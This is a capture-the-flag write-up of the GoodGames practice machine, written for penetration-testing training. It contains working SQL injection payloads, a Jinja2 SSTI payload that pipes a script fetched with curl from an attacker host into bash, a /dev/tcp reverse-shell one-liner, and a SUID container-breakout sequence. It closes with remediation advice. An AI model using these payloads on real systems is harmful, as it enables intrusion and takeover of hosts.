PT1 certified | OSCP in progress

GoodGames – OffSec Practice Writeup

Summary

GoodGames is an easy-difficulty Linux machine that showcases web application vulnerabilities, internal network enumeration, and container breakout via host-shared filesystem mounts. Initial access begins with web reconnaissance against an e-commerce gaming community platform. Exploiting an SQL injection vulnerability on the authentication portal allows an attacker to bypass login controls and identify an internal administration subdomain. Further exploitation using a UNION-based SQL injection exfiltrates administrative password hashes, which can be cracked offline. Authenticating to the internal administrative dashboard reveals a user profile management feature vulnerable to Server-Side Template Injection (SSTI) in the Jinja2 engine, yielding remote code execution as root inside a Docker container.

Privilege escalation to the host operating system requires recognizing that the container environment shares a bind mount with the underlying host filesystem. By auditing internal container routing tables and executing a native Bash socket port scanner, an attacker discovers that SSH is open on the host gateway. Reusing the cracked administrative credentials grants an unprivileged SSH session as user augustus on the host. Full host administrative control is ultimately established by abusing the bidirectional shared directory: the host user places a copy of the shell binary into the shared folder, the container root assigns it SetUID permissions, and executing the binary with privilege preservation on the host spawns a root shell.


Reconnaissance

Initial network reconnaissance was conducted using rustscan coupled with standard Nmap service detection scripts to discover open ports and fingerprint active daemons.

rustscan -a 10.129.57.0 -- -sCV -oN target
  • -a 10.129.57.0: Targets the machine IP address.
  • --: Separator passing subsequent arguments directly to the underlying Nmap scanner.
  • -sC: Runs default Nmap NSE scripts.
  • -sV: Probes open ports to determine service and version information.
  • -oN target: Outputs the results in standard format to target.
PORT   STATE SERVICE REASON         VERSION
80/tcp open  http    syn-ack ttl 63 Werkzeug httpd 2.0.2 (Python 3.9.2)
| http-methods: 
|_  Supported Methods: HEAD OPTIONS GET POST
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
|_http-title: GoodGames | Community and Store
|_http-favicon: Unknown favicon MD5: 61352127DC66484D3736CACCF50E7BEB

The scan reveals a single public service: port 80 running Python’s Werkzeug httpd 2.0.2 (Python 3.9.2).

Web Directory & Endpoint Discovery

Directory and file discovery was launched against the web application using feroxbuster:

feroxbuster -u http://10.129.57.0/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,py,txt,log,db,html
  • -u http://10.129.57.0/: Target URL.
  • -w raft-medium-directories.txt: Wordlist containing common directory names.
  • -x php,py,txt,log,db,html: Searches for files matching specified extensions.

Application Functionality Mapping

Navigating through http://goodgames.htb reveals a gaming portal with the following features:

  • User Registration (/signup): Creates new platform users.
  • User Authentication (/login): Portal for existing users.
  • Password Reset (/forgot-password): Password reset workflow.
  • Blog Section: Displays gaming blog posts with reader comments.
  • User Profile: Displays profile settings and avatar management.

Enumerated initial user candidates and accounts from site content:

UsersPassword / Hash
admin(To be extracted)
test / test2 / test3test
wolfestein—
witch murder—
hitman—

Initial access

SQL Injection Authentication Bypass

Inspecting the authentication request on /login revealed that input supplied to the email field is interpolated directly into an SQL query without parameterization.

Intercepting the POST request via Burp Suite:

POST /login HTTP/1.1
Host: goodgames.htb
Content-Length: 60
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Origin: http://goodgames.htb
Referer: http://goodgames.htb/
Connection: keep-alive

email=test%40test.com%27+or+1%3D1--+-%3B%23&password=fdsafds

By injecting ' or 1=1-- - into the email parameter:

SELECT * FROM users WHERE email = 'test@test.com' or 1=1-- -' AND password = '...';

The query condition evaluates to TRUE, discarding the password check. The application logs the session in as the first user in the table: admin@goodgames.htb.

Subdomain Discovery: Flask Volt Portal

Once logged in as admin, an administrative gear icon appears in the top navigation bar linking to an internal host:
http://internal-administration.goodgames.htb

Add this domain to /etc/hosts:

echo "10.129.57.0 goodgames.htb internal-administration.goodgames.htb" | sudo tee -a /etc/hosts

Navigating to http://internal-administration.goodgames.htb displays a separate administrative login panel powered by Flask Volt. The previous session cookie is not valid for this subdomain, requiring valid credentials.

UNION-Based SQL Injection Data Extraction

Returning to the vulnerable login parameter on http://goodgames.htb, we craft a UNION SELECT injection to extract the database schema and credentials from the user table:

' union select 1,2,3,group_concat(email, 0x3a, password) FROM user-- -

URL-encoded payload sent in the email parameter:

email=test%40test.com%27+union+select+1%2C2%2C3%2Cgroup_concat%28email%2C+0x3a%2C+password%29+FROM+user--+-&password=test

The server reflects the queried data in the welcome message:

admin@goodgames.htb:2b22337f218b2d82dfc3a6f77d7cb97f

We identify the 32-character hash as an MD5 digest and crack it using hashcat or john:

hashcat -m 0 2b22337f218b2d82dfc3a6f77d7cb97f /usr/share/wordlists/rockyou.txt
  • -m 0: Hash type MD5.

The cracked password is:

superadministrator

Server-Side Template Injection (SSTI) in Jinja2

With credentials admin:superadministrator, we authenticate to http://internal-administration.goodgames.htb.

Within the Flask Volt administration interface, we navigate to the Settings page (/settings), which provides a form to update the administrator’s profile information (name, email, avatar).

Given that the backend is powered by Python/Flask, we test for Jinja2 template injection in the Full Name field:

{{7*8}}

Upon submitting the form, the dashboard reflects 56 instead of the literal string {{7*8}}, confirming that user input is evaluated dynamically via render_template_string().

Remote Code Execution & Initial Shell

To obtain an interactive shell, we traverse Python’s object hierarchy to access the os module and execute system commands.

  1. Payload structure:
{{request.application.__globals__.__builtins__.__import__('os').popen('curl 10.10.14.X/reverse | bash').read()}}
  1. Stage a reverse shell script (reverse) on the attacker machine:
cat << 'EOF' > reverse
#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.10.14.X/4444 0>&1"
EOF
  1. Start an HTTP delivery server:
python3 -m http.server 80
  1. Start a Netcat/Penelope listener:
nc -lvnp 4444
# or using penelope:
penelope -p 4444
  1. Trigger the payload by saving the user profile with the SSTI string. The web server fetches reverse from our machine and pipes it into bash, delivering a root reverse shell:
Connection received on 10.129.57.0 48292
root@3a453ab39d3d:~# whoami
root
root@3a453ab39d3d:~# hostname
3a453ab39d3d

We locate the user flag within /home/augustus/user.txt:

cat /home/augustus/user.txt

Privilege escalation

Container Environment Enumeration

Although our shell reports root, the hostname (3a453ab39d3d) indicates an isolated container. We confirm this by inspecting the root filesystem:

ls -la /.dockerenv

Examining the storage mounts inside the container reveals that the /home/augustus directory is mounted directly from the host machine’s primary physical disk (/dev/sda1):

root@3a453ab39d3d:~# mount | grep home
/dev/sda1 on /home/augustus type ext4 (rw,relatime,errors=remount-ro)

Crucially, the mount options do not include nosuid.

Internal Network Reconnaissance

To interact with the host operating system hosting the container, we inspect the container’s network configuration and routing tables:

root@3a453ab39d3d:~# routel
         target            gateway          source    proto    scope    dev tbl
        default         172.19.0.1                                     eth0 
     172.19.0.0 16                      172.19.0.2   kernel     link   eth0 
      127.0.0.0          broadcast       127.0.0.1   kernel     link     lo local
      127.0.0.0 8            local       127.0.0.1   kernel     host     lo local
      127.0.0.1              local       127.0.0.1   kernel     host     lo local
127.255.255.255          broadcast       127.0.0.1   kernel     link     lo local
     172.19.0.0          broadcast      172.19.0.2   kernel     link   eth0 local
     172.19.0.2              local      172.19.0.2   kernel     host   eth0 local
 172.19.255.255          broadcast      172.19.0.2   kernel     link   eth0 local

The gateway IP 172.19.0.1 represents the host operating system’s interface on the Docker bridge network.

Since the container lacks Nmap and Netcat, we scan for open ports on the host gateway (172.19.0.1) using a pure Bash /dev/tcp port scanning script:

#!/bin/bash
# port_scanner.sh - Fast TCP port scanner using pure Bash builtins
ip="172.19.0.1"
ports=1024

for p in $(seq 1 $ports); do
    (echo > /dev/tcp/$ip/$p) >/dev/null 2>&1 && echo "Port $p is open"
done

Executing the scan against 172.19.0.1:

root@3a453ab39d3d:~# bash port_scanner.sh
Port 22 is open
Port 80 is open

Port 22 (SSH) is listening on the host gateway.

Lateral Movement to the Host (User augustus)

Knowing that user augustus owns the home directory mounted inside the container, we test credential reuse using the password cracked earlier (superadministrator):

ssh augustus@172.19.0.1

Authentication succeeds:

augustus@goodgames:~$ whoami
augustus
augustus@goodgames:~$ hostname
GoodGames

We now have two active sessions:

  1. Low-privileged shell as augustus on the host machine (GoodGames).
  2. High-privileged shell as root inside the Docker container (3a453ab39d3d).

Docker Mount SUID Abuse to Host Root

Because Docker does not use user namespace remapping (userns-remap), user ID 0 inside the container maps directly to user ID 0 (root) on the host kernel. Furthermore, /home/augustus is a shared bind mount between the host and the container that permits SUID execution.

We elevate privileges to root on the host through the following sequence:

Step 1: Copy Shell Binary on Host

From the host terminal as augustus, copy the system /bin/bash binary into the shared directory /home/augustus:

augustus@goodgames:~$ cp /bin/bash /home/augustus/bash
augustus@goodgames:~$ ls -la /home/augustus/bash
-rwxr-xr-x 1 augustus augustus 1234376 Sep 11 12:45 /home/augustus/bash

Step 2: Inject SUID Bit from Container

From the container terminal as root, navigate to /home/augustus. Change the binary owner to root and enable the Set-User-ID (SUID) bit:

root@3a453ab39d3d:~# cd /home/augustus
root@3a453ab39d3d:/home/augustus# chown root:root bash
root@3a453ab39d3d:/home/augustus# chmod 4755 bash
root@3a453ab39d3d:/home/augustus# ls -la bash
-rwsr-xr-x 1 root root 1234376 Sep 11 12:45 bash

Step 3: Spawn Elevated Root Shell on Host

Return to the host session as augustus. Inspect the file attributes to verify that the change is reflected on the host filesystem:

augustus@goodgames:~$ ls -la /home/augustus/bash
-rwsr-xr-x 1 root root 1234376 Sep 11 12:45 /home/augustus/bash

Execute the binary with the -p (privileged) flag to instruct GNU Bash to preserve the elevated effective UID (eUID) rather than dropping privileges:

augustus@goodgames:~$ /home/augustus/bash -p
bash-5.1# id
uid=1000(augustus) gid=1000(augustus) euid=0(root) groups=1000(augustus)
bash-5.1# whoami
root

Retrieve the root flag:

bash-5.1# cat /root/root.txt

Conclusion

GoodGames demonstrates how web application vulnerabilities can be chained with host-container configuration weaknesses to achieve complete system takeover.

The initial breach stemmed from lack of input sanitization in the authentication portal, enabling an SQL injection bypass and UNION-based credential extraction. Leaked administrative credentials permitted access to an internal administration subdomain, where unsanitized user profile fields allowed Server-Side Template Injection (SSTI) in Jinja2 to execute arbitrary commands inside a Docker container.

The critical lesson of the privilege escalation vector lies in container storage isolation:

  1. Unrestricted Volume Bind Mounts: Mounting a host user’s home directory directly into a container without the nosuid flag allows processes inside the container to alter file permissions that are honored by the host kernel.
  2. Missing User Namespace Remapping: Without userns-remap, root inside the container is identical to root on the host system, nullifying the containment boundary when shared storage is involved.
  3. Password Reuse: Using identical administrative passwords across application layers and host operating system accounts (augustus) allowed lateral movement from the container network to the host SSH daemon.

Defensive Hardening & Remediation

  1. Parameterize SQL Queries: Use prepared statements and parameterized queries (e.g., SQLAlchemy ORM or Python DB-API placeholders) to eliminate SQL injection vulnerabilities.
  2. Sanitize Template Inputs: Never concatenate user input directly into template strings (render_template_string). Pass user-controlled variables strictly through context dictionaries in static template files (render_template("settings.html", name=username)).
  3. Enable Docker User Namespaces: Configure userns-remap: "default" in /etc/docker/daemon.json so that container UID 0 maps to an unprivileged UID range on the host kernel.
  4. Mount Shared Volumes with nosuid: Always apply the nosuid option to shared container bind mounts to prevent SetUID binary execution on the host filesystem.
  5. Eliminate Credential Reuse: Enforce unique passwords and distinct authentication mechanisms (such as SSH public key authentication with disabled password login) across service accounts and administrative portals.

Index